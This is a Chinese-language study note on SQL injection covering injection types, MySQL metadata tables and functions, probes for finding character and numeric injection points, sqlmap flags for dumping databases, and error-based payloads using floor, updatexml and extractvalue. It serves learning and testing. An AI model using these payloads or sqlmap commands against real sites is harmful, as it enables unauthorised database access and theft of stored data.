# SQL注入小記
## 分類
聯合查詢 布爾盲注 報錯注入 延時注入 堆疊查詢 get post cookie http頭部
## mysql元資料庫資料庫 information_schema
information_schema ---tables ---table_name ---table_schema ---columns ---column_name ---table_name ---tbale_schema
## mysql 常用函式
select version(); select database(); 當前資料庫 selsect user(); 用戶名 select current_user();當前 select system_user();系統 select @@datadir; 資料庫路徑 select @@version_complie_os; 作業系統版本 select length(database());
substring(截取的字串,起點,長度) 截取字串 left("12345",3) 123 concat('a','b','c') abc concat_ws("-",'a','b','c') a-b-c group_concat()
ord() 回傳ascii碼 rand() 0-1 亂數 left(rand(),3) 0.1/0.2/.... sleep() 睡眠 if(判斷,t,f) and>or 優先級;
## 注入點判斷
字符型注入
當輸入的引數x為字符型時,通常sql陳述句會這樣的 select *from users where id =**'**x**'** 這種型別我們可以使用and ‘1’='1 和 and ‘1’='2來進行測驗 www.xxx.com/ccc.php?id=1’ and ‘1’='1 頁面正常,繼續下一步 www.xxx.com/ccc.php?id=1’ and ‘1’='2 頁面報錯,則說明存在字符型注入, 原因如下: 當輸入and ‘1’=‘1的時候,后臺執行的陳述句是 select* from users where id=**'**x' and '1'='1**'** 語法正確,邏輯判斷正確,回傳正確 當輸入and ‘1’=‘2的時候,后臺執行的陳述句是 select * from users where id=**'**x' and '1'='2**'** 語法正確,邏輯判斷錯誤,回傳錯誤 字符型和數字型最大的一個區別在于,數字型不需要單引號來閉合,而字串一般需要通過單引號來閉合的,
數字型注入
當輸入的引數x為整型的時候,通常sql陳述句是這樣的 select *from users where id =x 這種型別可以使用經典的and 1=1 and 1=2來判斷 url地址中輸入www.xxxx.com/ccc.php?id=x and 1=1 頁面顯示正常,繼續下一步 url地址中輸入www.xxxx.com/ccc.php?id=x and 1=2 頁面錯誤,這說明存在數字型注入, 原因如下: 當輸入and 1=1時,后臺會執行sql陳述句是 select* from users where id =x and 1=1; 沒有語法顯示錯誤且,回傳正常 當輸入and 1=2時,后臺會執行sql陳述句是 select *from users where id =1 and 1=2; 沒有語法錯誤且,回傳錯誤 我們在使用假設: 如果是字符型注入的話,我們輸入的陳述句應該會出現這樣的狀況 select* from users where id ='1 and 1=1'; select * from users where id ='1 and 1=2'; 查詢陳述句將and陳述句全部轉換成字串,并沒有進行and的邏輯判斷,所以不會出現以上結果,所以這個等式是不成立的,
是否回顯 聯合查詢 是否報錯 報錯注入 是否有布爾型別 布爾盲注 延時注入
## sqlmap
-u "url" 檢測注入點 --dbs 列出所有資料庫名 --current-db 當前資料庫名 -D 指定資料庫 --tables 列出表名 -T 指定表名 --columns 列出所有的字符段名 -C 指定欄位 --dump 列出欄位內容
post注入 sqlmap -r post.txt
## 報錯注入
1 通過floor報錯 and (select 1 from (select count(*),concat((payload),floor(rand(0)*2))as x from information_schema.tables group by x)as y) 2 通過updatexml報錯 and updatexml(1,payload,1) 3 通過 extractvalue報錯 and extractvalue(1,payload)
轉載請註明出處,本文鏈接:https://www.uj5u.com/qiye/273997.html
標籤:其他
